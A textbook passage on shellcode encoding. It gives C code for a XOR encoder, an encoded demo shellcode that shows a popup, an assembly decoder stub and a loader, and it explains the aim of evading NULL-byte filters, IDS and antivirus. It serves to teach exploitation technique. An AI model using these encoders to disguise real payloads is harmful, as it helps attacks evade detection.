0day安全
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

3.5 shellcode编码技术

3.5.1 为什么要对shellcode编码

在很多漏洞利用场景中,shellcode的内容将会受到限制。

首先,所有的字符串函数都会对NULL字节进行限制。通常我们需要选择特殊的指令来避免在shellcode中直接出现NULL字节(byte,ASCII函数)或字(word,Unicode函数)。

其次,有些函数还会要求shellcode必须为可见字符的ASCII值或Unicode值。在这种限制较多的情况下,如果仍然通过挑选指令的办法控制shellcode的值的话,将会给开发带来很大困难。毕竟用汇编语言写程序就已经不那么容易了,如果在关心程序逻辑和流程的同时,还要分心去选择合适的指令将会让我这样不很聪明的程序员崩溃掉。

最后,除了以上提到的软件自身的限制之外,在进行网络攻击时,基于特征的IDS系统往往也会对常见的shellcode进行拦截。

那么,怎样突破重重防护,把shellcode从程序接口安全地送入堆栈呢?一个比较容易想到的办法就是给shellcode“乔装打扮,让其“蒙混过关”后再展开行动。

我们可以先专心完成shellcode的逻辑,然后使用编码技术对shellcode进行编码,使其内容达到限制的要求,最后再精心构造十几个字节的解码程序,放在shellcode开始执行的地方。

图3.5.1 shellcode编码示意图

当exploit成功时,shellcode顶端的解码程序首先运行,它会在内存中将真正的shellcode还原成原来的样子,然后执行之。这种对shellcode编码的方法和软件加壳的原理非常类似。

这样,我们只需要专注于几条解码指令,使其符合限制条件就行,相对于直接关注于整段shellcode来说使问题简化了很多。本节我们就来实践这样一种方法。

图3.5.2 shellcode解码示意图

题外话:很多病毒也会采取类似加壳的办法来躲避杀毒软件的查杀:首先对自身编码,若直接查看病毒文件的代码节会发现只有几条用于解码的指令,其余都是无效指令;当PE装入开始运行时,解码器将真正的代码指令还原出来,并运行之、实施破坏活动;杀毒软件将一种特征记录之后,病毒开发者只需要使用新的编码算法(密钥)重新对PE文件编码,即可躲过查杀。然而自古正邪不两立,近年来杀毒软件开始普遍采用内存杀毒的办法来增加查杀力度,就是等病毒装载完成并已还原出真面目的时候进行查杀。

3.5.2 会“变形”的shellcode

下面将在上节所实现的通用shellcode的基础上,演示一个最简单的shellcode加壳过程,这包括:对原始shellcode编码,开发解码器,将解码器和经过编码的shellcode送入装载器运行调试。

最简单的编码过程莫过于异或运算了,因为对应的解码过程也同样最简单。我们可以编写程序对shellcode的每个字节用特定的数据进行异或运算,使得整个shellcode的内容达到要求。在编码时需要注意以下几点。

·用于异或的特定数据相当于加密算法的密钥,在选取时不可与shellcode已有字节相同,否则编码后会产生NULL字节。

·可以选用多个密钥分别对shellcode的不同区域进行编码,但会增加解码操作的复杂性。

·可以对shellcode进行很多轮编码运算。

这里给出一个我实现的最简单的基于异或运算的编码器,用于演示这种技术。

  void encoder (char* input, unsigned char key, int display_flag)// bool
display_flag
{
      int i=0,len=0;
      FILE * fp;
      unsigned char * output;
      len = strlen(input);
      output=(unsigned char *)malloc(len+1);
      if(!output)
      {
         printf("memory erro!\n");
         exit(0);
      }
      //encode the shellcode
      for(i=0;i<len;i++)
      {
         output[i] = input[i]^key;
      }
      if(!(fp=fopen("encode.txt","w+")))
      {
         printf("output file create erro");
         exit(0);
      }
      fprintf(fp,"\"");
      for(i=0;i<len;i++)
      {
         fprintf(fp,"\\x%0.2x", output[i]);
         if((i+1)%16==0)
         {
            fprintf(fp,"\"\n\"");
         }
      }
      fprintf(fp,"\";");
      fclose(fp);
      printf("dump the encoded shellcode to encode.txt OK!\n");
      if(display_flag)//print to screen
      {
          for(i=0;i<len;i++)
          {
             printf("%0.2x ",output[i]);
             if((i+1)%16==0)
             {
                printf("\n");
             }
          }
      }
      free(output);
}

encoder()函数会使用传入的key参数对输入的数据逐一异或,并将其整理成十六进制的形式dump进一个名为encode.txt的文件中。这里对第四节中的通用shellcode进行编码,密钥采用0x44,在main中直接调用encoder(popup_general,0x44 ,1),会得到经过编码的shellcode如下:

"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4";

对于解码,我们可以用以下几条指令实现。

void main()
{
   __asm
   {
      add eax, 0x14 //越过decoder,记录shellcode的起始地址
      xor ecx,ecx
decode_loop:
         mov bl,[eax+ecx]
         xor bl, 0x44 //这里用0x44作为key,如编码的key改变,这里也要相应
                     //改变
         mov [eax+ecx],bl
         inc ecx
         cmp bl,0x90 //在shellcode末尾放上一个字节的0x90作为结束符
         jne decode_loop
   }
}

对于这个解码器,有以下需要注意的地方。

(1)解码器不能单独运行,需要用VC 6.0将其编译,然后用OllyDbg提取出二进制的机器代码,联合经过编码的shellcode一起执行。

(2)解码器默认在shellcode开始执行时,EAX已经对准了shellcode的起始位置。

(3)解码器将认为shellcode的最后一个字节为0x90,所以在编码前要注意给原始shellcode多加一个字节的0x90作为结尾,否则会产生错误。

将汇编指令转换为机器代码,如表3-5-1所示。

表3-5-1 将汇编指令转换为机器代码

最后,将这20个字节的解码指令与经过编码的shellcode一起送入装载器测试。

char final_sc_44[]=
"\x83\xC0\x14"  //ADD EAX,14H
"\x33\xC9"    //XOR ECX,ECX
"\x8A\x1C\x08"   //MOV BL,BYTE PTR DS:[EAX+ECX]
"\x80\xF3\x44"  //XOR BL,44H//notice 0x44 is taken as temp key to decode !
"\x88\x1C\x08"    //MOV BYTE PTR DS:[EAX+ECX],BL
"\x41"        //INC ECX
"\x80\xFB\x90"   //CMP BL,90H
"\x75\xF1"      //JNZ SHORT decoder.00401034
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4";
void main()
{
     __asm
     {
        lea eax, final_sc_44
        push eax
        ret
     }
}

编译运行之,看到熟悉的failwest了吗?

以上是一个最简单的shellcode编码过程,用于演示开发shellcode编码器、解码器的原理和方法。实际上,除了自己开发之外,一个更简单的给shellcode编码、解码的方法是利用MetaSploit。目前,MetaSploit 3.0所提供的编码和解码算法总共有17种(包括本节介绍的单字节异或算法),已经能够满足绝大多数安全测试的需要。